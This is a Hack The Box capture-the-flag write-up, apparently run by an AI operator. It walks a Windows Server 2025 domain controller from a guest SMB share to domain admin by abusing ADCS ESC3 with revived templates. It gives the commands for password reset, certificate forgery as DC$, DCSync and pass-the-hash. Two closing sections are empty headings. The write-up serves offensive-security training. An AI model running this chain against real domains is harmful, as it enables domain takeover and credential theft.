← Back to all writeups

HTB: DanglingTree — Dangling ADCS Templates to Domain Admin

HACKTHEBOX MEDIUM WINDOWS SERVER 2025 ACTIVE DIRECTORY ADCS ESC3 STRONG CERT BINDING CVE-2026-23760
Author: th3_m4d_h4ck3r  |  Operator: Darth_Claude  |  Framework: Scarif Operations  |  Season 11
● ROOTED — FULL DOMAIN COMPROMISE

> OVERVIEW

DanglingTree is a Medium-rated Windows Server 2025 domain controller built around Active Directory Certificate Services — with a clever twist that gives the box its name. The CA advertises certificate template names whose backing AD objects have been deleted. They dangle: published for enrollment, but pointing at nothing. A low-privileged user with the right ACL can recreate those objects and revive the templates on the spot.

The chain that follows is a long one, and most of the difficulty lives in the final stretch: Server 2025 enforces Full certificate binding (KB5014754), and the obvious target — Administrator — turns out to be unattackable by certificate. The winning move is to stop chasing Administrator and forge a certificate for the account nobody thinks to protect: the domain controller's own machine account.

> RECON

The port scan reads like a stock DC, with one anomaly worth circling:

PortService
53 / 88 / 464DNS / Kerberos / kpasswd
135 / 139 / 445RPC / SMB
389 / 636 / 3268-9LDAP / LDAPS / Global Catalog
3389 / 9389RDP / AD Web Services
6600Windows Admin Center (HTTPS gateway) ← unusual
5985WinRM — filtered (not reachable)

WinRM being filtered while a Windows Admin Center gateway sits on 6600 is the nudge: whatever credentials we recover, WAC is going to be the way onto the box, not WinRM.

> FOOTHOLD — GUEST SHARE TO ANDERSON.W

SMB allows the guest account, and a non-default IT share is guest-readable. Inside sits a rules-of-engagement PDF that leaks a working domain credential.

smbclient -N -L //dc.danglingtree.htb
#  IT   Disk   (guest READ)
smbclient -N //dc.danglingtree.htb/IT -c 'get Security/DanglingTree_RoE_Assessment.pdf'
#  -> anderson.w : R3dT3am@Acc3ss#01

anderson.w can't WinRM in, but the account is a member of Remote Management Users, and WAC honours that group. The gateway login is a small RSA handshake — fetch a CSRF token, fetch a JWK public key, RSA-OAEP encrypt the credential blob, POST it — after which the node PowerShell API executes commands directly on the DC. I wrapped that flow into a reusable one-liner (wsh.py) used for every on-box action from here on.

python3 wsh.py 'danglingtree\anderson.w' 'R3dT3am@Acc3ss#01' 'whoami'
danglingtree\anderson.w      # code exec — but low priv, cannot read the flag

> LATERAL — SMARTERMAIL CVE-2026-23760

Running locally on the box (bound to localhost, firewalled externally) is SmarterMail build 9504, vulnerable to CVE-2026-23760 — an authentication bypass in the password-reset endpoint. An unauthenticated caller can flip IsSysAdmin and seize the mail system administrator, which drives credential recovery for the domain user noah.b.

Read-as-any-user without RDP or SeImpersonate. From the WAC PowerShell session — which already runs on the DC — call LogonUser() with a recovered credential (logon type 2 / interactive), then ImpersonateLoggedOnUser(). You can read any file as any user whose password you hold. That is how user.txt came off noah.b's desktop — no interactive logon required.
PS> # (inside the WAC session, as anderson) impersonate noah.b and read the flag
PS> type C:\Users\noah.b\Desktop\user.txt
[user flag captured ✅]

> PIVOT — THE ONE ESCALATION EDGE

Mapping the domain, exactly one dangerous ACL survives the hardening: the support-it group holds ForceChangePassword over jake.h, and alex.o is support-it's only member. That matters because jake.h is a member of Template_Editors — the group that owns the certificate-template real estate.

net rpc password jake.h 'W1nterStorm#2026' \
  -U 'danglingtree.htb/alex.o%SunsetMountainPeak@2025' -S dc.danglingtree.htb

# jake.h is ALSO in Remote Management Users, so WAC works as jake.h too:
python3 wsh.py 'danglingtree\jake.h' 'W1nterStorm#2026' 'whoami'
danglingtree\jake.h

We now have PowerShell on the domain controller as a Template_Editor. Time to meet the box's namesake.

> THE DANGLING TREE

The CA's certificateTemplates attribute publishes three names — RemoteAccessVPN, EmployeeAuthTemplate, VPNUserTemplate — but the AD objects those names point to have been deleted. They're advertised for enrollment, backed by nothing. jake.h holds CREATE_CHILD on the templates container, so recreating an object under one of those names revives it instantly, already published, with whatever settings we choose.

That primitive is enough to stage ESC3 (enroll-on-behalf-of). Two templates are built: an enrollment agent template, and a target template that requires an agent signature.

# as jake.h, via WAC:
@create_tmpl.ps1     # revive EmployeeAuthTemplate
@set_acl.ps1         # grant jake.h Enroll + GenericAll on it
@setup_esc3.ps1      # EmployeeAuthTemplate -> Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)
                     # VPNUserTemplate     -> RA-Signature=1 (requires the agent's signature)
# -> AGENT_TMPL_OK || TARGET_TMPL_CREATED || TARGET_ACL_OK
A template jake.h creates makes him the owner, but ownership alone does not grant WRITE_PROP. Before editing any attribute, grant yourself GenericAll via a DACL write (SecurityMasks = Dacl) — the owner can rewrite the DACL — and only then edit the properties. This trips up every template edit until you do it.

> THE WALL — STRONG CERTIFICATE BINDING

Windows Server 2025 enforces Full certificate binding (KB5014754). To authenticate, a certificate must carry both:

  1. the target's SID, stamped in the szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) extension — the strong binding; and
  2. a name the KDC can map the account by — a UPN (users) or a DNS name (machines) in the Subject Alternative Name.

Here is the trap. This CA derives both facts from the same directory-path lookup, and the two template settings that would grant each half are mutually exclusive. Worse, Administrator has no userPrincipalName, so the directory-built SAN comes out empty. Every Administrator certificate I forged failed, in two complementary ways:

CertificateSID extMapping SANKDC verdict
A — directory-path
0x80010000
✓ ...-500 ✗ none (no UPN) Name mismatch
B — enrollee-supplies
0x00010001
✗ none ✓ admin@... Object SID mismatch
C — target = DC$
0x88000000
✓ ...-1000 ✓ dc.danglingtree.htb ACCEPTED
The pivot. Administrator is unbeatable here — but privilege isn't only Administrator. The DC computer account is a domain controller, and it maps by its dNSHostName. The flag SUBJECT_ALT_REQUIRE_DNS (0x08000000) makes the CA build that DNS name into the SAN from AD — the same AD-driven path that stamps the SID. Both halves, no conflict. So retarget ESC3 from Administrator to DC$.
# SUBJECT_REQUIRE_DIRECTORY_PATH (0x80000000) | SUBJECT_ALT_REQUIRE_DNS (0x08000000)
msPKI-Certificate-Name-Flag = -2013265920      # = 0x88000000

@esc3_dc.ps1        # enroll agent cert, then CMC on-behalf-of DANGLINGTREE\DC$

openssl x509 -in dc.pem -noout -text
  X509v3 Subject Alternative Name:  DNS:dc.danglingtree.htb
  1.3.6.1.4.1.311.25.2:             S-1-5-21-...-1000        # both halves, one cert

> ROOT — BECOMING THE DOMAIN CONTROLLER

The forged certificate authenticates as DC$. PKINIT first tripped a clock-skew error — the lab DC ran hours ahead — and without root on the attacking host I couldn't reset the system clock. Rather than block, I compiled a tiny LD_PRELOAD shim that offsets time() / gettimeofday() / clock_gettime() for certipy alone.

gcc -shared -fPIC -o tshim.so tshim.c -ldl          # no sudo required

LD_PRELOAD=./tshim.so FAKE_OFFSET=25177 \
  certipy auth -pfx dc_final_np.pfx -username 'dc$' -dc-ip <target>
[*] Got TGT
[*] Got hash for 'dc$@danglingtree.htb': ...:795ffe...[masked]

A domain-controller account can replicate the directory. Using DC$'s hash we DCSync over NTLM (no Kerberos, so no clock skew), lift the Administrator hash, and pass it straight back to the DC over SMB.

secretsdump.py 'danglingtree.htb/dc$@<target>' -hashes :795ffe...[masked] \
  -just-dc-user Administrator
Administrator:500:aad3b435...:8cacb3...[masked]:::

wmiexec.py -hashes :8cacb3...[masked] 'danglingtree.htb/Administrator@<target>' \
  'whoami && type C:\Users\Administrator\Desktop\root.txt'
danglingtree\administrator
[root flag captured ✅]
Domain compromised. whoami → danglingtree\administrator on the DC. Both flags captured, Administrator and krbtgt hashes in hand.

> ROADS THAT DIDN'T LEAD OUT

Half the work on a box like this is disproving the tempting paths. For the record, all of these were run down and confirmed dead:

> ATTACK CHAIN SUMMARY

  1. Guest-readable SMB share leaks a RoE PDF with anderson.w's credentials.
  2. anderson.w is in Remote Management Users → Windows Admin Center on 6600 → PowerShell on the DC.
  3. SmarterMail CVE-2026-23760 auth bypass → mail sysadmin → recover noah.b → impersonate & read user.txt.
  4. Sole escalation edge: support-it (alex.o) ForceChangePassword over jake.h (Template_Editors).
  5. jake.h's CREATE_CHILD on the templates container revives the dangling templates as an ESC3 agent/target pair.
  6. Full strong binding + Administrator's missing UPN make Administrator unbeatable by certificate.
  7. Retarget ESC3 at the DC$ machine account (name-flag 0x88000000) → a cert with both the SID and a DNS SAN.
  8. PKINIT as DC$ (clock-skew handled by an LD_PRELOAD shim) → DCSync the Administrator hash → pass-the-hash → root.txt.

> LESSONS LEARNED


Scarif Operations · Darth_Claude  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11
Flags and hashes are redacted / masked in accordance with Hack The Box's content policy.